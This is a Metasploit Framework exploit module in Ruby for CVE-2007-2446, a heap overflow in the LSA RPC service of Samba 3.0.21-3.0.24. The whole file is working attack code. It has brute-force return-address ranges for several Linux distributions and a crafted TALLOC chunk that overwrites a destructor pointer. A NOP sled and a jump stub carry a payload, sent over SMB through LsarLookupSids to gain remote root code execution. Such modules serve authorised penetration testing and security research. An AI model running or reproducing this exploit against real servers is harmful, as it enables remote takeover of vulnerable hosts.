343 lines
8.0 KiB
Ruby
343 lines
8.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB
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include Msf::Exploit::Brute
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Samba lsa_io_trans_names Heap Overflow',
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'Description' => %q{
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This module triggers a heap overflow in the LSA RPC service
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of the Samba daemon. This module uses the TALLOC chunk overwrite
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method (credit Ramon and Adriano), which only works with Samba
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versions 3.0.21-3.0.24. Additonally, this module will not work
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when the Samba "log level" parameter is higher than "2".
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},
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'Author' =>
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[
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'Ramon de C Valle',
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'Adriano Lima <adriano[at]risesecurity.org>',
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'hdm'
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2007-2446'],
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['OSVDB', '34699'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024, # no limit really
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},
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'Platform' => 'linux',
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'DefaultOptions' =>
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{
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'PrependSetresuid' => true,
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'PrependSetreuid' => true,
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'PrependSetuid' => true,
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},
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'Targets' =>
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[
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['Linux vsyscall',
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{
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'Platform' => 'linux',
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'Arch' => [ ARCH_X86 ],
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'Nops' => 1024,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xffffe410 },
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'Stop' => { 'Ret' => 0xffffe413 },
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'Step' => 1,
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}
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}
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],
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##
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# 08356000-0843d000 rwxp 08356000 00:00 0 (Debian) # KF
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# 80300000-8042f000 rw-p 80300000 00:00 0 (Gentoo) # hdm
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# b800f000-b80c9000 rwxp b800f000 00:00 0 (RHEL/CentOS) # Adriano/Ramon
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# 80365000-80424000 rwxp 80365000 00:00 0 (SUSE) # Adriano/Ramon
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# 8033c000-80412000 rwxp 00000000 00:00 0 (Slackware) # Adriano/Ramon
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# 08342000-08436000 rwxp 00000000 00:00 0 (Ubuntu) # hdm
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# 08270000-0837f000 rwxp 00000000 00:00 0 (SNAP) # Andrew
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#
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##
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['Linux Heap Brute Force (Debian/Ubuntu)',
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{
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'Platform' => 'linux',
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'Arch' => [ ARCH_X86 ],
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'Nops' => 64*1024,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0x08352000 },
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'Stop' => { 'Ret' => 0x0843d000 },
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'Step' => 60*1024,
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}
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}
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],
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['Linux Heap Brute Force (Gentoo)',
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{
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'Platform' => 'linux',
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'Arch' => [ ARCH_X86 ],
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'Nops' => 64*1024,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0x80310000 },
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'Stop' => { 'Ret' => 0x8042f000 },
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'Step' => 60*1024,
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}
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}
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],
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['Linux Heap Brute Force (Mandriva)',
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{
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'Platform' => 'linux',
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'Arch' => [ ARCH_X86 ],
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'Nops' => 64*1024,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0x80380000 },
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'Stop' => { 'Ret' => 0x8045b000 },
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'Step' => 60*1024,
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}
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}
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],
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['Linux Heap Brute Force (RHEL/CentOS)',
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{
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'Platform' => 'linux',
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'Arch' => [ ARCH_X86 ],
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'Nops' => 64*1024,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xb800f000 },
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'Stop' => { 'Ret' => 0xb80c9000 },
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'Step' => 60*1024,
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}
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}
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],
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['Linux Heap Brute Force (SUSE)',
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{
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'Platform' => 'linux',
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'Arch' => [ ARCH_X86 ],
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'Nops' => 64*1024,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0x80365000 },
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'Stop' => { 'Ret' => 0x80424000 },
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'Step' => 60*1024,
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}
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}
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],
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['Linux Heap Brute Force (Slackware)',
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{
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'Platform' => 'linux',
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'Arch' => [ ARCH_X86 ],
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'Nops' => 64*1024,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0x8033c000 },
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'Stop' => { 'Ret' => 0x80412000 },
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'Step' => 60*1024,
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}
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}
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],
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['DEBUG',
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{
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'Platform' => 'linux',
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'Arch' => [ ARCH_X86 ],
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'Nops' => 1024,
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xAABBCCDD },
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'Stop' => { 'Ret' => 0xAABBCCDD },
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'Step' => 4,
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}
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}
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],
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],
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'DisclosureDate' => 'May 14 2007',
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
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], self.class)
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end
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def check
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begin
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connect()
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smb_login()
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disconnect()
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if (smb_peer_lm() =~ /Samba/i)
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return CheckCode::Detected
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else
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return CheckCode::Safe
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end
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rescue ::Exception
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return CheckCode::Safe
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end
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end
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def brute_exploit(target_addrs)
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if(not @nops)
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if (target['Nops'] > 0)
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print_status("Creating nop sled....")
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@nops = make_nops(target['Nops'])
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else
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@nops = ''
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end
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# @nops = "\xcc" * (@nops.length)
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end
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print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
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nops = @nops
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pipe = datastore['SMBPIPE'].downcase
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print_status("Connecting to the SMB service...")
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connect()
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smb_login()
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if ! @checked_peerlm
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if smb_peer_lm !~ /Samba 3\.0\.2[1234]/i
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fail_with(Exploit::Failure::NoTarget, "This target is not a vulnerable Samba server (#{smb_peer_lm})")
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end
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end
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@checked_peerlm = true
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datastore['DCERPC::fake_bind_multi'] = false
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handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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jumper = "P" * 256
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jumper[24, 5] = "\xe9" + [-5229-11-5-(nops.length/2)].pack('V')
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num_entries = 256
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num_entries2 = 272
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# first talloc_chunk
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# 16 bits align
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# 16 bits sid_name_use
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# 16 bits uni_str_len
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# 16 bits uni_max_len
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# 32 bits buffer
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# 32 bits domain_idx
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buf = (('A' * 16) * num_entries)
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# padding
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buf << 'A' * 8
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# TALLOC_MAGIC
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talloc_magic = "\x70\xec\x14\xe8"
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# second talloc_chunk header
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buf << 'A' * 8 # next, prev
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buf << NDR.long(0) + NDR.long(0) # parent, child
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buf << NDR.long(0) # refs
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buf << [target_addrs['Ret']].pack('V') # destructor
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buf << 'A' * 4 # name
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buf << 'A' * 4 # size
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buf << talloc_magic # flags
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buf << jumper
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stub = lsa_open_policy(dcerpc)
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stub << NDR.long(0) # num_entries
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stub << NDR.long(0) # ptr_sid_enum
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stub << NDR.long(num_entries) # num_entries
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stub << NDR.long(0x20004) # ptr_trans_names
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stub << NDR.long(num_entries2) # num_entries2
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stub << buf
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stub << nops
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stub << payload.encoded
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print_status("Calling the vulnerable function...")
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begin
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# LsarLookupSids
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dcerpc.call(0x0f, stub)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
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print_status('Server did not respond, this is expected')
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rescue Rex::Proto::DCERPC::Exceptions::Fault
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print_error('Server is most likely patched...')
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rescue => e
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if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
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print_status('Server disconnected, this is expected')
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else
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print_error("Error: #{e.class}: #{e}")
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end
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end
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handler
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disconnect
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end
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def lsa_open_policy(dcerpc, server="\\")
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stubdata =
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# Server
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NDR.uwstring(server) +
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# Object Attributes
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NDR.long(24) + # SIZE
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NDR.long(0) + # LSPTR
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NDR.long(0) + # NAME
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NDR.long(0) + # ATTRS
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NDR.long(0) + # SEC DES
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# LSA QOS PTR
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NDR.long(1) + # Referent
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NDR.long(12) + # Length
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NDR.long(2) + # Impersonation
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NDR.long(1) + # Context Tracking
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NDR.long(0) + # Effective Only
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# Access Mask
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NDR.long(0x02000000)
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res = dcerpc.call(6, stubdata)
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dcerpc.last_response.stub_data[0,20]
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end
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end
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